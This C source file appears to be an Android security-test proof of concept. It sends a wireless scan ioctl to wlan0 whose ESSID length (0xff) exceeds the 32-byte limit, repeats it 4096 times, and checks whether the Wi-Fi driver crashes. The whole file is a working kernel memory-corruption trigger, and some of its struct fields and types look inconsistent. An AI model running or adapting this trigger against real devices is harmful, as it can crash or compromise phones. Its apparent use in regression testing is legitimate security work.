1 /**
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #include <android/log.h>
17 #include <dirent.h>
18 #include <dlfcn.h>
19 #include <errno.h>
20 #include <fcntl.h>
21 #include <jni.h>
22 #include <limits.h>
23 #include <net/if.h>
24 #include <stdio.h>
25 #include <stdlib.h>
26 #include <string.h>
27 #include <sys/ioctl.h>
28 #include <sys/socket.h>
29 #include <sys/stat.h>
30 #include <sys/types.h>
31 #include <sys/types.h>
32 #include <unistd.h>
33 #define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
34 #define AID_NET_RAW 3004 /* can create raw INET sockets */
35 #define AID_NET_ADMIN 3005
36 #define SIOCSIWPRIV 0x8B0C
37 #define SIOCGIWNAME 0x8B01
38 #define SIOCGIWRANGE 0x8B0B
39 #define SIOCSIWSCAN 0x8B18
40 #define SIOCSIWSPY 0x8B10
41 #define IW_ESSID_MAX_SIZE 32
42 #define IW_MAX_FREQUENCIES 32
43 #define SIR_MAC_MAX_SSID_LENGTH 32
44 #define IW_SCAN_THIS_ESSID 0x0002
45
46 typedef int __s32;
47 typedef unsigned char __u8;
48 typedef unsigned short __u16;
49
50 struct iw_param {
51 __s32 value; /* The value of the parameter itself */
52 __u8 fixed; /* Hardware should not use auto select */
53 __u8 disabled; /* Disable the feature */
54 __u16 flags; /* Various specifc flags (if any) */
55 };
56
57 struct iw_point {
58 void *pointer; /* Pointer to the data (in user space) */
59 __u16 length; /* number of fields or size in bytes */
60 __u16 flags; /* Optional params */
61 };
62
63 struct iw_quality {
64 __u8 qual; /* link quality (%retries, SNR,
65 %missed beacons or better...) */
66 __u8 level; /* signal level (dBm) */
67 __u8 noise; /* noise level (dBm) */
68 __u8 updated; /* Flags to know if updated */
69 };
70
71 struct iw_freq {
72 __s32 m; /* Mantissa */
73 __s16 e; /* Exponent */
74 __u8 i; /* List index (when in range struct) */
75 __u8 flags; /* Flags (fixed/auto) */
76 };
77
78 union iwreq_data {
79 /* Config - generic */
80 char name[IFNAMSIZ];
81 /* Name : used to verify the presence of wireless extensions.
82 * Name of the protocol/provider... */
83 struct iw_point essid; /* Extended network name */
84 struct iw_param nwid; /* network id (or domain - the cell) */
85 struct iw_freq freq; /* frequency or channel :
86 * 0-1000 = channel
87 * > 1000 = frequency in Hz */
88 struct iw_param sens; /* signal level threshold */
89 struct iw_param bitrate; /* default bit rate */
90 struct iw_param txpower; /* default transmit power */
91 struct iw_param rts; /* RTS threshold threshold */
92 struct iw_param frag; /* Fragmentation threshold */
93 __u32 mode; /* Operation mode */
94 struct iw_param retry; /* Retry limits & lifetime */
95 struct iw_point encoding; /* Encoding stuff : tokens */
96 struct iw_param power; /* PM duration/timeout */
97 struct iw_quality qual; /* Quality part of statistics */
98 struct sockaddr ap_addr; /* Access point address */
99 struct sockaddr addr; /* Destination address (hw/mac) */
100 struct iw_param param; /* Other small parameters */
101 struct iw_point data; /* Other large parameters */
102 };
103
104 struct iwreq {
105 union {
106 char ifrn_name[IFNAMSIZ];
107 } ifr_ifrn;
108 union iwreq_data u;
109 };
110
111 struct iw_scan_req {
112 __u8 scan_type;
113 __u8 essid_len;
114 __u8 num_channels;
115 __u8 flags;
116 struct sockaddr bssid;
117 __u8 essid[IW_ESSID_MAX_SIZE];
118 __u32 min_channel_time; /* in TU */
119 __u32 max_channel_time; /* in TU */
120 struct iw_freq channel_list[IW_MAX_FREQUENCIES];
121 };
122
main(void)123 int main(void) {
124 int fd;
125 int ret = -2;
126 struct iwreq prIwReq;
127 int i = 0;
128 struct iw_scan_req *scan_req;
129 if (getuid() != 0)
130 return -1;
131 gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
132 setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
133 setuid(2000);
134 fd = socket(AF_INET, SOCK_STREAM, 0);
135 if (fd == -1) {
136 perror("[-] socket failed!\n");
137 return -1;
138 }
139 strncpy(prIwReq.ifr_name, "wlan0", IFNAMSIZ);
140 prIwReq.ifr_name[IFNAMSIZ - 1] = '\0';
141 scan_req = (struct iw_scan_req *)malloc(sizeof(struct iw_scan_req) + 0xff);
142 memset(scan_req, 0xff, sizeof(struct iw_scan_req) + 0xff);
143 scan_req->essid_len = 0xff;
144 prIwReq.u.data.length = sizeof(struct iw_scan_req);
145 prIwReq.u.data.pointer = scan_req;
146
147 prIwReq.u.data.flags = IW_SCAN_THIS_ESSID;
148 for (i = 0; i < 0x1000; ++i) {
149 errno = 0;
150 ret = ioctl(fd, SIOCSIWSCAN, &prIwReq);
151 printf(" try %d times, %s crashed ? \n", i, strerror(errno));
152 }
153 return 0;
154 }
155